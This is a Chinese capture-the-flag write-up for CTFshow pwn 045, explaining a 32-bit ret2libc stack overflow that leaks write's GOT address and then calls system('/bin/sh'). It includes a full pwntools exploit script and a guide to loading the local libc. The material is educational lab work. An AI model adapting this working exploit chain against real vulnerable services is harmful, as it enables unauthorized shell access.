【CTFshow-pwn系列】03_栈溢出【pwn 045】详解:Ret2Libc 之 32位动态泄露(补充本地 Libc 手动加载指南)
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
在上一关(PWN 044)中,我们攻克了 64 位环境下的 Ret2Libc,掌握了利用 pop rdi 传参来泄露地址的技巧。
来到 PWN 045 ,环境回退到了 32位 。题目依然没有提供后门,也没有 /bin/sh,甚至连 puts 都没有显示调用,而是给了一个 write 函数。
这道题的考点在于:如何在 32 位栈溢出中,正确构造多参数函数的调用栈,完成地址泄露与 Shell 获取。
pwn 045 三参数的艺术:32位 write 函数泄露
题目信息与环境侦察
题目描述
pwn45:
Hint: You can use write func to leak addr!
O.o?
解题过程: 首先使用 checksec 检查程序保护情况。

- Arch : i386-32-little (32位)
- RELRO : Partial RELRO (GOT 表可写)
- Stack : No canary found
- NX : NX enabled (栈不可执行)
- PIE : No PIE (程序代码段地址固定)
侦察分析:
- 32位架构 :参数通过栈传递。
- No PIE :
write的 PLT 和 GOT 地址是固定的。 - ASLR:Libc 基址随机,需要泄露。
第一部分:机制详解 ------ 32位多参数函数调用
1. 32位 Ret2Libc 的栈结构
在 32 位中,当我们想利用 ROP 调用一个函数(如 write)并能在执行后继续控制程序(如跳回 main),栈的结构必须严格遵守以下格式:
+----------------------+
| Function Address | <-- EIP 指向这里 (比如 write_plt)
+----------------------+
| Return Address | <-- Function 执行完后跳去哪 (比如 main)
+----------------------+
| Argument 1 | <-- 第 1 个参数
+----------------------+
| Argument 2 | <-- 第 2 个参数
+----------------------+
| Argument 3 | <-- 第 3 个参数
+----------------------+
2. write 函数原型
ssize_t write(int fd, const void *buf, size_t count);
- fd (Arg1) : 文件描述符。1 代表标准输出 (stdout)。题目脚本中使用了 0 (stdin),在 socket 环境下通常 0/1/2 都是通的,也能输出。
- buf (Arg2) : 要写入的数据内容的地址。为了泄露地址,我们填 write_got。
- count (Arg3) : 要写入的字节数。32位地址长 4 字节,所以填 4。
第二部分:代码审计与漏洞挖掘
1. 静态分析 (IDA Pro)
Main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Hint: You can use write func to leak addr!");
puts("O.o?");
ctfshow(); // [漏洞点]
// 程序末尾调用了 write,这很重要,说明 write 在 PLT/GOT 表中
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
漏洞函数 ctfshow:

ssize_t ctfshow()
{
_BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
// [漏洞点]:read 读取 0xC8 (200) 字节
// 200 > 103,存在栈溢出
return read(0, buf, 0xC8u);
}
偏移量计算 : 根据 IDA 注释 [ebp-6Bh]:
buf距离ebp的偏移是0x6B(107 字节)。- 覆盖返回地址长度 =
107+4(Old EBP) = 111 字节。
2. 寻找拼图零件
我们需要用到的地址:
write_plt:调用write函数。write_got:作为参数,泄露其指向的真实地址。main地址:泄露后重启程序。
第三部分:实战操作与 Payload 构造
1. 搜集地址
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
2. Payload 1 (泄露地址)
我们需要构造调用 write(1, write_got, 4) 并在结束后返回 main。
栈布局:
+----------------------+
| Padding ('a' * 111) |
+----------------------+
| write_plt | <-- 1. 调用 write
+----------------------+
| main_addr | <-- 2. write 结束后的返回地址 (重启程序)
+----------------------+
| 1 (或 0) | <-- 3. 参数1: fd (stdout)
+----------------------+
| write_got | <-- 4. 参数2: buf (指向 write 真实地址)
+----------------------+
| 4 | <-- 5. 参数3: len (读取 4 字节)
+----------------------+
3. Payload 2 (Get Shell)
计算出 Libc 基址后,构造调用 system("/bin/sh")。
栈布局:
+----------------------+
| Padding ('a' * 111) |
+----------------------+
| system_addr | <-- 1. 调用 system
+----------------------+
| 0xdeadbeef | <-- 2. system 结束后的返回地址 (无关紧要)
+----------------------+
| bin_sh_addr | <-- 3. 参数1: "/bin/sh"
+----------------------+
4. 完整 EXP 脚本
from pwn import *
from LibcSearcher import *
# 1. 基础配置
context.log_level = 'debug'
context.arch = 'i386'
# 2. 建立连接
# 如果是本地调试,请取消下面 process 的注释,注释掉 remote
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28198)
elf = ELF('./pwn')
# 3. 准备零件
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
# 偏移量计算: 0x6B (107) + 4 (ebp) = 111
offset = 111
# 4. 第一轮攻击:泄露 write 地址
# 构造 write(1, write_got, 4) -> return main
# 注意:这里将 FD 改为了 1 (stdout),比 0 更通用
payload1 = flat([
b'a' * offset,
write_plt, # 调用 write
main_addr, # 返回地址:main (泄露完重启程序)
1, # 参数1:fd=1 (标准输出)
write_got, # 参数2:buf=write_got (要泄露的内容)
4 # 参数3:len=4 (32位地址长度)
])
# 关键修正:必须读取掉问号后面的换行符!
# 否则 io.recv(4) 可能会读到残留的 '\n',导致后续 u32 失败或地址错误
io.recvuntil(b"O.o?\n")
io.sendline(payload1)
# 5. 接收泄露地址
try:
# 尝试读取 4 字节的地址
addr = io.recv(4)
# 检查是否真的读到了 4 字节,防止 unpack error
if len(addr) != 4:
log.error(f"Leak failed! Received {len(addr)} bytes: {addr}. Process might have crashed.")
write_real_addr = u32(addr)
log.success(f"Leaked write address: {hex(write_real_addr)}")
except Exception as e:
log.error(f"Exception during leak: {e}")
exit(1)
# 6. 计算 Libc 基址
# 注意:本地调试时推荐使用 ldd ./pwn 查看本地 libc 路径并手动加载,LibcSearcher 可能匹配失败
# 远程攻击时请切换回 LibcSearcher
# ---------------------------------------------------------
# [本地调试模式]
# 请根据 ldd ./pwn 的结果修改下面的路径
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = write_real_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
# ---------------------------------------------------------
# [远程攻击模式] (取消注释使用)
# libc = LibcSearcher('write', write_real_addr)
# libc_base = write_real_addr - libc.dump('write')
# system_addr = libc_base + libc.dump('system')
# bin_sh_addr = libc_base + libc.dump('str_bin_sh')
# ---------------------------------------------------------
log.success(f"Libc Base: {hex(libc_base)}")
log.success(f"System: {hex(system_addr)}")
# 7. 第二轮攻击:Get Shell
# 构造 system("/bin/sh")
payload2 = flat([
b'a' * offset,
system_addr, # 调用 system
0xdeadbeef, # 返回地址 (随意)
bin_sh_addr # 参数1:/bin/sh
])
# 程序重启后会再次输出提示,同样要吃掉换行符
io.recvuntil(b"O.o?\n")
io.sendline(payload2)
io.interactive()
总结:PWN 045 的核心逻辑

| 维度 | 64位 Ret2Libc (044) | 32位 Ret2Libc (045) |
|---|---|---|
| 泄露函数 | puts (1个参数) |
write (3个参数) |
| 传参方式 | pop rdi 寄存器传参 |
直接把参数布置在栈上 |
| 栈结构 | [Gadget] [Arg] [Func] [Ret] |
[Func] [Ret] [Arg1] [Arg2] [Arg3] |
| 复杂度 | 需寻找 Gadget | 需精细计算栈布局 |
核心启示 : 32 位的 ROP 看起来比 64 位简单(不需要找 pop rdi),但实际上更容易出错。 初学者最容易混淆的是 返回地址 和 参数 的位置。 请牢记口诀:函数地址 + 返回地址 + 参数1 + 参数2 + ...
补充:本地 Libc 手动加载指南
在本地进行 Pwn 实验时,我们经常遇到 LibcSearcher 报错,提示找不到匹配的 Libc。这是因为你的 Linux 系统(如 Ubuntu 22.04)使用的 Libc 版本可能太新或不在工具库中。
这种情况下,"手动加载" 是最高效、最准确的解决方案。
第一步:定位本地 Libc 路径
在 Linux 终端中,使用 ldd 命令查看可执行文件依赖的动态链接库。
# 在题目目录下运行
ldd ./pwn
输出示例:

linux-gate.so.1 (0xf7f0e000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cd1000) <-- 核心目标
/lib/ld-linux.so.2 (0xf7f10000)
- 识别路径 :找到
libc.so.6对应的文件路径。在上面的例子中,路径是/lib/i386-linux-gnu/libc.so.6。 - 注意架构 :如果路径中包含
i386或i686,说明是 32 位 Libc;如果包含x86_64,则是 64 位。
第二步:在脚本中替换 LibcSearcher
在 Python 脚本中,我们不再使用 LibcSearcher 类,而是直接使用 Pwntools 提供的 ELF 类。
1. 修改加载方式
# 之前的写法(远程推荐):
# from LibcSearcher import *
# libc = LibcSearcher('write', write_real_addr)
# 现在的写法(本地推荐):
libc = ELF('/lib/i386-linux-gnu/libc.so.6') # 填入 ldd 查到的路径
2. 修改地址计算逻辑
Pwntools 的 ELF 对象非常强大,它可以自动计算符号的相对偏移。
# 假设已经泄露了真实地址 write_real_addr
# 计算 Libc 的基地址 (Base Address)
# 基址 = 真实地址 - 该函数在 Libc 文件中的静态偏移
libc_base = write_real_addr - libc.sym['write']
# 将基址赋值给 libc 对象,这样后续寻找符号时会自动加上基址
libc.address = libc_base
# 获取 system 和 /bin/sh 的绝对地址
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.success(f"Libc Base: {hex(libc_base)}")
log.success(f"System: {hex(system_addr)}")
log.success(f"Bin_sh: {hex(bin_sh_addr)}")
第三步:完整的本地/远程兼容模式
为了让脚本既能打本地又能打远程,建议采用如下结构:
# --- 模式切换开关 ---
is_local = True
if is_local:
io = process('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6') # 本地 Libc
else:
io = remote('pwn.challenge.ctf.show', 28198)
# 远程可能需要 LibcSearcher 或者题目提供的 libc.so
# ... 执行泄露逻辑获取 write_real_addr ...
if is_local:
libc.address = write_real_addr - libc.sym['write']
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
else:
from LibcSearcher import *
libc_search = LibcSearcher('write', write_real_addr)
libc_base = write_real_addr - libc_search.dump('write')
system_addr = libc_base + libc_search.dump('system')
bin_sh_addr = libc_base + libc_search.dump('str_bin_sh')
核心要点总结
| 操作 | 命令/代码 | 说明 |
|---|---|---|
| 查询路径 | ldd ./pwn |
必须在题目所在的 Linux 环境运行。 |
| 加载文件 | libc = ELF('路径') |
加载文件后可直接访问 .sym 或 .search。 |
| 地址设置 | libc.address = 基址 |
这是一个快捷方式,设置后所有 sym 地址都会自动偏移。 |
| 字符串搜索 | next(libc.search(b'/bin/sh')) |
注意搜索的是字节流,所以要加 b 前缀。 |
通过这种方式,你完全避开了 LibcSearcher 的数据库匹配问题,让本地调试变得百分之百准确。
宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨 1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。 2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。 3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。 5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。 7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。